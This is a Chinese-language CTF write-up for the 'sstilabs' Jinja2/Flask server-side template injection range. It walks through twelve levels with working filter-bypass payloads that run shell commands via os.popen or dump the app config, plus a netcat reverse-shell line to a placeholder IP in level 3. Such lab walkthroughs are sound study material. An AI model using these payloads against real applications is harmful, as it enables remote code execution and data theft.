本文有些地方疯狂抄lexsd6的博文

sstilabs靶场

如何产生的ssti?

ssti起因是在通过与服务端模板的输入输出交互时,服务器端把用户提交的数据处理,当成了代码来执行.从而让恶意用户通过构建了恶意代码,来读取了服务器上的信息或得到了服务器的shell.例如:在python的flask中,会把{ { } }号里面的参数当成代码来执行,如{ {1+1} }会被执行成为{ {2} }

由于python的语法一贯奉行“一切皆是对象”的原则,所以python的一切变量都由类实例而来同时python有很多管理这些类与对象的内置魔术方法或函数

当你加载一个模块的时候,会在当前的全局命名空间中创建一个名为os的变量,指向这个os模块对象

level1

lipsumjiaja中的全局函数

没有过滤,直接注入即可
pyload

{{lipsum.__globals__.os.popen('ls -alh').read()}}

level2

过滤{{}}

可以用{%%}
{% ... %}用来标记语句,比如 if 语句,for 语句等
在里面可以执行print语句所以pyload就很简单了
pyload

{%print(lipsum.__globals__.os.popen('ls -alh').read())%}

level3

注入测试后发现是bool盲注,既然是bool盲注就得外带数据

外带数据的思路一共有两种,一是dnslog外带数据,二是反弹shell,这里就用 反弹shell了,反弹shell需要一个公网ip

{{lipsum.__globals__.os.popen('netcat xxx.xxx.xxx.xxx 2333 -e /bin/bash').read()}}

靶机没装netcat也没curl,所以这里连不上,知道思路就行了

level4

过滤了[]
我们指令本来也没用[]所以直接过了


{{lipsum.__globals__.os.popen('ls -alh').read()}}

level5

过滤了单双引号

用request模块注入


url='http://node5.anna.nssctf.cn:28413/level/5?qwq=ls'
code={{lipsum.__globals__.os.popen(request.args.qwq).read()}}

level 6

过滤了下划线,那依然可以用request模块绕过



url='http://node5.anna.nssctf.cn:28413/level/6?qwq=__globals__'
code={{(lipsum|attr(request.args.qwq)).os.popen('ls').read()}}

level 7

过滤了点,那么得用关键字attr()

python中,我们常常是通过.来获取变量的属性的.例如().__class__.

但jinja2给我们提供了另外两种思路:[]|attr

在jinji2中有一种独特的调用机制,这种机制本意是用来对{ {{ %中的数据进行筛选或类型转化的. 过滤器通过|来调用它们.例如|attr()就是一个典型的过滤器 by lexsd6

在python中,我们可以用.来查找属性,而在jinja2中我们可以用attr()查找属性

{{lipsum|attr('__globals__')}}
可以正确查找globals属性,但是不能再使用|attr('os'),因为os是globals的一个键而不是一个属性

可以用[]获取

payload:

{{(lipsum|attr('__globals__'))['os']|attr('popen')('ls')|attr('read')()}}

level 8

这题是关键字过滤,而且也过滤了request

可以用+拼接,可以用~拼接,也可以用关键字reverse逆转
这里用+拼接

payload

{{lipsum['__glob'+'als__']['o'+'s']['pop'+'en']('ls /').read()}}

level 9

过滤了数字

payload

{{lipsum.__globals__.os.popen('ls -alh').read()}}

level 10

得到config配置文件

一般情况下可以用{{config}}直接获得,但有时会过滤关键字,那么就可以用迂回的方式得到

当被过滤时,可利用已加载内置函数或对象寻找被过滤字符串

flask内置函数

函数 作用
lipsum 可加载第三方库
url_for 可返回url路径
get_flashed_message 可获取消息

使用内置函数调用current_app模块进而查看配置文件
current_app可输出当前app(即flask)

所以可以通过内置函数获得current_app进而获得config

payload:


{{url_for.__globals__['current_app'].config}}

level 11

过滤了. [] request ' "

join关键字
返回一个字符串,该字符串是序列中字符串的串联。元素之间的分隔符默认为空字符串,可以使用可选参数定义字符串。(ps:如果对象是字典,则只拼接 )

payload


{% set getitem = dict(__getitem__=1)|join%}{%set kg = ({}|select()|string()|attr(getitem)(10))%}{% set globals=dict(__globals__=a)|join%}{% set os=dict(os=a)|join%}{% set payload=(dict(ls=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}

level 12

过滤 ' " _ 0-9 . [ ] \ 空格


{% set nine = dict(aaaaaaaaa=a)|join|count%}{%set pop=dict(pop=a)|join%}{%set kg=(lipsum|string|list)|attr(pop)(nine)%}{%set eighteen=nine+nine%}{%set xhx=(lipsum|string|list)|attr(pop)(eighteen)%}{%set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{%set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set payload=(dict(cat=cat)|join,kg,dict(flag=flag)|join)|join %}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}

一个好奇的人